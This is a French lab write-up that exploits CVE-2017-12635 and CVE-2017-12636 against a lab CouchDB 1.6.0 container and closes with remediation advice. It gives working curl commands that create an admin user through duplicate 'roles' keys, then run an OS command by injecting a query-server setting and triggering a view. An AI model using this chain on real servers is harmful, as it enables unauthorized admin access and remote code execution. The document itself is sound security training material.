Lab7-CVE-2017-12635-12636

I. ANALYSE DU SYSTÈME

Identification de la surface d'attaque

En commençant par ce qui est exécuté dans l'environnement. Je liste tous les conteneurs actifs :

docker ps

La victime expose un seul port : 5984

⇒ Je curl directement dessus pour sonder plus d'informations :

curl -i http://192.168.3.137:5984/

Analyse de la réponse :

Réponse : HTTP/1.1 200 OK, prouvant que le service sur le port 5984 est actif et accessible directement via HTTP.

En-tête du serveur : CouchDB/1.6.0 (Erlang OTP/17) et le corps JSON contenant "version":"1.6.0" confirment qu'il s'agit d'Apache CouchDB version 1.6.0.

Évaluation de la surface d'attaque :

Le service CouchDB est exposé extérieurement via le port 5984. Il s'agit du port par défaut de l'API HTTP CouchDB, permettant l'interaction avec la base de données via une API REST.

La version CouchDB 1.6.0 est une version ancienne, antérieure au correctif 1.7.1. Selon la documentation Apache, les versions de CouchDB dans cette plage sont affectées par :

• CVE-2017-12635 : Élévation de privilèges à distance due à un traitement incohérent des clés roles JSON en double.
• CVE-2017-12636 : Exécution de code à distance car un administrateur peut modifier les configurations du serveur via l'API HTTP.

=> Réflexion : À partir de la réponse obtenue, il y a suffisamment de preuves pour déterminer que la victime exécute Apache CouchDB 1.6.0 sur le port 5984. Il s'agit d'une version plus ancienne associée à la chaîne d'exploitation de CVE-2017-12635 et CVE-2017-12636. Par conséquent, un chemin d'exploitation logique consiste à tester d'abord l'état de l'authentification, puis à évaluer le potentiel d'élévation de privilèges ou d'exécution de commandes via l'API HTTP de CouchDB.

II. Test du statut d'authentification (CVE-2017-12635)

CVE-2017-12635 exploite la divergence entre deux analyseurs JSON dans CouchDB. Lors de l'envoi d'un document utilisateur à /_users avec deux clés roles en double, CouchDB utilise la deuxième clé roles pour vérifier les droits d'écriture du document, mais utilise la première clé roles pour les permissions réelles de l'utilisateur après la création. Ainsi, un attaquant définit la première roles sur ["_admin"] et la deuxième roles sur [] pour contourner la validation, ce qui fait que l'utilisateur créé possède des privilèges d'administrateur.

Selon la documentation de CouchDB, CouchDB stocke les informations utilisateur dans une base de données spéciale nommée _users, où chaque document utilisateur a un ID formaté comme org.couchdb.user:<nom_utilisateur>. Comme nous devons créer un utilisateur nommé hacker, le point de terminaison utilisé est /_users/org.couchdb.user:hacker. Je crée un nouvel utilisateur et lui attribue des privilèges admin pour voir comment le serveur répond.

curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

La réponse retournée est true, prouvant que l'utilisateur a été créé avec succès. J'effectue une vérification en utilisant les identifiants admin nouvellement créés : curl -u hacker:password123 http://192.168.3.137:5984/_users. Le point de terminaison /_users est une base de données système, qui par défaut seuls les administrateurs peuvent lire les métadonnées. Si elle est demandée par un utilisateur normal → 403 Forbidden. La réponse 200 OK avec les informations complètes de la DB confirme que le compte hacker possède bien les privilèges _admin. Cela correspond parfaitement à l'hypothèse CVE-2017-12635 sur Apache CouchDB 1.6.0.

Résumé :

J'ai vérifié avec succès CVE-2017-12635 sur Apache CouchDB 1.6.0. Initialement, le port 5984 montrait seulement que l'API HTTP CouchDB était exposée. Après fingerprinting via curl, la réponse a confirmé que le service est CouchDB 1.6.0, une version dans la plage de vulnérabilité de CVE-2017-12635.

Au lieu de conclure immédiatement que la RCE est possible, j'ai d'abord vérifié le flux d'authentification étape par étape. En envoyant un document utilisateur à /_users avec deux clés roles en double, la charge utile a créé avec succès l'utilisateur hacker. Ensuite, la requête à /_users via curl -u hacker:password123 a retourné 200 OK avec les détails de la base de données système, prouvant que l'utilisateur hacker possède véritablement les privilèges _admin.

Par conséquent, une fois les privilèges admin CouchDB acquis, la surface d'attaque s'étend à CVE-2017-12636, car les administrateurs peuvent modifier la configuration de CouchDB via l'API HTTP. Cela sert de prérequis pour évaluer plus en avant les capacités d'exécution de code à distance sur le serveur.

⇒ Réflexion : Utiliser les privilèges admin nouvellement acquis pour tester l'exécution de commandes au niveau du système d'exploitation.

III. Des privilèges admin CouchDB à l'exécution de code à distance (CVE-2017-12636)

Selon la documentation Apache CouchDB, un Query Server est un processus externe utilisé par CouchDB pour traiter les fonctions de conception, comme une vue JavaScript dans le mécanisme MapReduce. Lorsqu'un document de conception déclare un champ "language", CouchDB utilise cette valeur pour rechercher le serveur de requêtes correspondant dans la configuration query_servers.

Si le document de conception contient "language": "javascript", CouchDB interroge la configuration query_servers.javascript pour déterminer quel processus lancer pour traiter la fonction map/reduce. C'est une conception légitime de CouchDB, car le noyau CouchDB n'exécute pas directement tout le code de vue dans le moteur de base de données.

⇒ Le problème de CVE-2017-12636 réside dans la capacité d'un administrateur CouchDB à modifier la configuration du serveur via l'API HTTP. Certaines de ces configurations incluent des chemins vers des binaires ou des processus au niveau du système d'exploitation que CouchDB lancera. Par conséquent, après avoir obtenu les privilèges admin de CVE-2017-12635, un attaquant peut modifier query_servers.<langage> pour pointer vers une commande OS. Lors du déclenchement d'une vue qui utilise le langage correspondant, CouchDB va lancer la commande, entraînant l'exécution de commandes sur le serveur.

Flux d'exploitation :

1. Acquérir les privilèges admin CouchDB via CVE-2017-12635.
2. Écrire la configuration malveillante dans query_servers.cmd via le point de terminaison /_config.
3. Créer un document de conception avec "language": "cmd".
4. Déclencher la vue.
5. CouchDB recherche query_servers.cmd et lance le processus configuré.
6. La commande OS s'exécute sous les privilèges du processus CouchDB.

Mécanisme opérationnel

Écriture de la configuration malveillante du query_server

Enregistrer un "serveur de requêtes" avec un nom arbitraire, dont la valeur est la commande OS :

curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

C'est la commande OS qui sera lancée par le processus CouchDB.

Déclenchement de l'exécution — Création de la base de données et du document

# Créer une base de données de test
curl -X PUT http://hacker:[email protected]:5984/rcetest

# Créer un document de conception avec une vue utilisant le langage "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# Déclencher la vue → CouchDB lance le serveur de requêtes "cmd" → exécute la commande OS
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

Flux d'exécution :

Requête de vue → [HTTP PUT Config] -> [Injecter la commande OS en tant que langage de requête factice]
           → [HTTP PUT Design Doc] -> [Attribuer l'attribut de gestion au langage de requête factice]
           → [HTTP GET View] -> [Forcer la recherche de configuration CouchDB -> Lancer un sous-processus exécutant la commande]
           → [Lire /tmp/pwned] -> [Confirmer le privilège d'exécution réussi (RCE)]

Vérification de la RCE :

docker exec project1-lab07-1 cat /tmp/pwned

Réflexion : Cette attaque RCE est aveugle/asynchrone car la sortie de la commande n'est pas retournée directement dans la réponse HTTP. Par conséquent, pour prouver que la commande a été exécutée, j'ai utilisé une charge utile qui génère un effet secondaire en écrivant la sortie de la commande id dans le fichier /tmp/pwned. En lisant le fichier /tmp/pwned dans le conteneur et en observant la sortie uid=1000(couchdb) gid=999(couchdb), on peut conclure que CouchDB a exécuté avec succès la commande OS sous les privilèges de l'utilisateur couchdb.

Le résultat uid=1000(couchdb) montre que la commande ne s'est pas exécutée avec les privilèges root, mais avec ceux du processus CouchDB. Cela reste suffisant pour prouver que CVE-2017-12636 conduit à une exécution de code à distance dans les limites des permissions du service.

IV. ÉVALUATION DES RISQUES ET RECOMMANDATIONS

Évaluation des risques

La combinaison de la vulnérabilité d'incohérence de l'analyseur JSON (CVE-2017-12635) et de l'injection de serveur de requêtes (CVE-2017-12636) sur le système est évaluée au niveau de risque le plus élevé :

Recommandations de correction

Pour atténuer complètement ces vulnérabilités, l'équipe d'administration système doit mettre en œuvre les mesures suivantes (classées par priorité) :

Priorité urgente (court terme) :

1. Mettre à niveau Apache CouchDB : Mettre immédiatement à jour vers une version sécurisée (≥ 1.7.1 ou ≥ 2.1.1, version recommandée 3.x). Il s'agit d'une mesure obligatoire car la vulnérabilité réside dans le moteur d'analyse JSON principal (jiffy) et le mécanisme de configuration du serveur de requêtes.
2. Imposer une authentification obligatoire : Configurer require_valid_user = true dans le fichier de configuration local.ini pour bloquer tout accès API anonyme. Ne jamais exécuter CouchDB en mode "Admin Party" (où aucun administrateur n'existe, ce qui fait de tout le monde un administrateur).

Priorité élevée (long terme et défense en profondeur) :

1. Restreindre l'accès réseau au port 5984 : Configurer un pare-feu (iptables/firewall) pour n'autoriser que les IP de confiance à accéder au port 5984. Ce port ne doit jamais être exposé à l'internet public. Si l'application et CouchDB résident sur la même machine, lier CouchDB strictement à 127.0.0.1.
2. Désactiver la configuration via l'API HTTP : Utiliser config_whitelist dans le fichier local.ini pour restreindre les clés de configuration pouvant être modifiées via l'API, empêchant ainsi les attaquants d'exploiter le point de terminaison /_config/query_servers pour injecter des commandes OS.
3. Restreindre le réseau du conteneur : Éviter de placer le conteneur sur un réseau bridge partagé par défaut sauf si nécessaire. Configurer des règles de pare-feu pour bloquer le conteneur d'initier activement des connexions sortantes (trafic sortant) vers l'internet afin d'empêcher l'exécution de Reverse Shell.